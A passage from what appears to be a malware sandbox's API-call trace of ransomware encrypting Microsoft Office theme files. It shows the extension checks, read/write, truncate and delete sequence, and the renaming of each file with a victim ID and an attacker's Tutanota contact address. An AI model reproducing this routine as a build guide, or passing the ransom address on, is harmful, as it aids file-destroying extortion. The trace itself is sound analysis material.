(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.472] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0212.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.472] lstrlenW (lpString=".doc") returned 4 [0212.472] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.473] lstrlenW (lpString=".docx") returned 5 [0212.473] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.473] lstrlenW (lpString=".pdf") returned 4 [0212.473] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.473] lstrlenW (lpString=".xls") returned 4 [0212.473] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.473] lstrlenW (lpString=".xlsx") returned 5 [0212.473] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.473] lstrlenW (lpString=".ppt") returned 4 [0212.473] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.473] lstrlenW (lpString=".zip") returned 4 [0212.473] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.473] lstrlenW (lpString=".rar") returned 4 [0212.473] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.473] lstrlenW (lpString=".bz2") returned 4 [0212.473] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.473] lstrlenW (lpString=".7z") returned 3 [0212.473] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.473] lstrlenW (lpString=".dbf") returned 4 [0212.473] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.473] lstrlenW (lpString=".1cd") returned 4 [0212.473] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.473] lstrlenW (lpString=".jpg") returned 4 [0212.473] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.473] lstrlenW (lpString=".doc") returned 4 [0212.473] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.473] lstrlenW (lpString=".docx") returned 5 [0212.473] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.473] lstrlenW (lpString=".pdf") returned 4 [0212.473] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.474] lstrlenW (lpString=".xls") returned 4 [0212.474] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.476] lstrlenW (lpString=".xlsx") returned 5 [0212.477] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.477] lstrlenW (lpString=".ppt") returned 4 [0212.477] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.477] lstrlenW (lpString=".zip") returned 4 [0212.477] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.477] lstrlenW (lpString=".rar") returned 4 [0212.477] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.477] lstrlenW (lpString=".bz2") returned 4 [0212.477] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.477] lstrlenW (lpString=".7z") returned 3 [0212.477] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.477] lstrlenW (lpString=".dbf") returned 4 [0212.477] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.477] lstrlenW (lpString=".1cd") returned 4 [0212.477] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0212.477] lstrlenW (lpString=".jpg") returned 4 [0212.477] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.477] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.477] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.478] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=29925) returned 1 [0212.478] CloseHandle (hObject=0x1e8) returned 1 [0212.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0212.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.478] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.478] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.478] GetLastError () returned 0x0 [0212.478] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x74e5, lpOverlapped=0x0) returned 1 [0212.483] WriteFile (in: hFile=0x1e0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0212.484] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.484] WriteFile (in: hFile=0x1e0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.485] SetEndOfFile (hFile=0x1e0) returned 1 [0212.485] CloseHandle (hObject=0x1e0) returned 1 [0212.485] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.485] SetEndOfFile (hFile=0x1e8) returned 1 [0212.489] CloseHandle (hObject=0x1e8) returned 1 [0212.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.490] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0212.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.490] lstrlenW (lpString=".doc") returned 4 [0212.490] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.490] lstrlenW (lpString=".docx") returned 5 [0212.490] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.490] lstrlenW (lpString=".pdf") returned 4 [0212.490] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.490] lstrlenW (lpString=".xls") returned 4 [0212.490] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.490] lstrlenW (lpString=".xlsx") returned 5 [0212.490] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.490] lstrlenW (lpString=".ppt") returned 4 [0212.490] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.490] lstrlenW (lpString=".zip") returned 4 [0212.490] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.490] lstrlenW (lpString=".rar") returned 4 [0212.490] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.490] lstrlenW (lpString=".bz2") returned 4 [0212.490] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.490] lstrlenW (lpString=".7z") returned 3 [0212.490] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.490] lstrlenW (lpString=".dbf") returned 4 [0212.490] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.490] lstrlenW (lpString=".1cd") returned 4 [0212.490] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.490] lstrlenW (lpString=".jpg") returned 4 [0212.490] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.490] lstrlenW (lpString=".doc") returned 4 [0212.491] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.491] lstrlenW (lpString=".docx") returned 5 [0212.491] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.491] lstrlenW (lpString=".pdf") returned 4 [0212.491] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.491] lstrlenW (lpString=".xls") returned 4 [0212.491] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.491] lstrlenW (lpString=".xlsx") returned 5 [0212.491] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.491] lstrlenW (lpString=".ppt") returned 4 [0212.491] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.491] lstrlenW (lpString=".zip") returned 4 [0212.491] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.491] lstrlenW (lpString=".rar") returned 4 [0212.491] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.491] lstrlenW (lpString=".bz2") returned 4 [0212.491] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.491] lstrlenW (lpString=".7z") returned 3 [0212.491] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.491] lstrlenW (lpString=".dbf") returned 4 [0212.491] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.491] lstrlenW (lpString=".1cd") returned 4 [0212.491] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0212.491] lstrlenW (lpString=".jpg") returned 4 [0212.491] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.491] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.491] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.492] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1363) returned 1 [0212.492] CloseHandle (hObject=0x1e8) returned 1 [0212.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0212.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.492] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.492] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0212.497] GetLastError () returned 0x0 [0212.497] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x553, lpOverlapped=0x0) returned 1 [0212.507] WriteFile (in: hFile=0x1d8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x560, lpOverlapped=0x0) returned 1 [0212.508] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.508] WriteFile (in: hFile=0x1d8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.508] SetEndOfFile (hFile=0x1d8) returned 1 [0212.508] CloseHandle (hObject=0x1d8) returned 1 [0212.508] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.508] SetEndOfFile (hFile=0x1e8) returned 1 [0212.509] CloseHandle (hObject=0x1e8) returned 1 [0212.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.509] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0212.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.509] lstrlenW (lpString=".doc") returned 4 [0212.509] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.509] lstrlenW (lpString=".docx") returned 5 [0212.509] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.509] lstrlenW (lpString=".pdf") returned 4 [0212.509] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString=".xls") returned 4 [0212.510] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString=".xlsx") returned 5 [0212.510] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.510] lstrlenW (lpString=".ppt") returned 4 [0212.510] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.510] lstrlenW (lpString=".zip") returned 4 [0212.510] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString=".rar") returned 4 [0212.510] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString=".bz2") returned 4 [0212.510] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.510] lstrlenW (lpString=".7z") returned 3 [0212.510] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.510] lstrlenW (lpString=".dbf") returned 4 [0212.510] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.510] lstrlenW (lpString=".1cd") returned 4 [0212.510] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.510] lstrlenW (lpString=".jpg") returned 4 [0212.510] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.510] lstrlenW (lpString=".doc") returned 4 [0212.510] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.510] lstrlenW (lpString=".docx") returned 5 [0212.510] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.510] lstrlenW (lpString=".pdf") returned 4 [0212.510] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString=".xls") returned 4 [0212.510] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString=".xlsx") returned 5 [0212.510] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.510] lstrlenW (lpString=".ppt") returned 4 [0212.510] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.510] lstrlenW (lpString=".zip") returned 4 [0212.510] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString=".rar") returned 4 [0212.510] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.510] lstrlenW (lpString=".bz2") returned 4 [0212.510] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.510] lstrlenW (lpString=".7z") returned 3 [0212.511] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.511] lstrlenW (lpString=".dbf") returned 4 [0212.511] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.511] lstrlenW (lpString=".1cd") returned 4 [0212.511] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0212.511] lstrlenW (lpString=".jpg") returned 4 [0212.511] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.511] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.511] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.511] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1293) returned 1 [0212.511] CloseHandle (hObject=0x1e8) returned 1 [0212.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0212.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.512] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.512] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0212.520] GetLastError () returned 0x0 [0212.520] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x50d, lpOverlapped=0x0) returned 1 [0212.535] WriteFile (in: hFile=0x1d8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x510, lpOverlapped=0x0) returned 1 [0212.536] ReadFile (in: hFile=0x1e8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.536] WriteFile (in: hFile=0x1d8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.536] SetEndOfFile (hFile=0x1d8) returned 1 [0212.536] CloseHandle (hObject=0x1d8) returned 1 [0212.536] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: 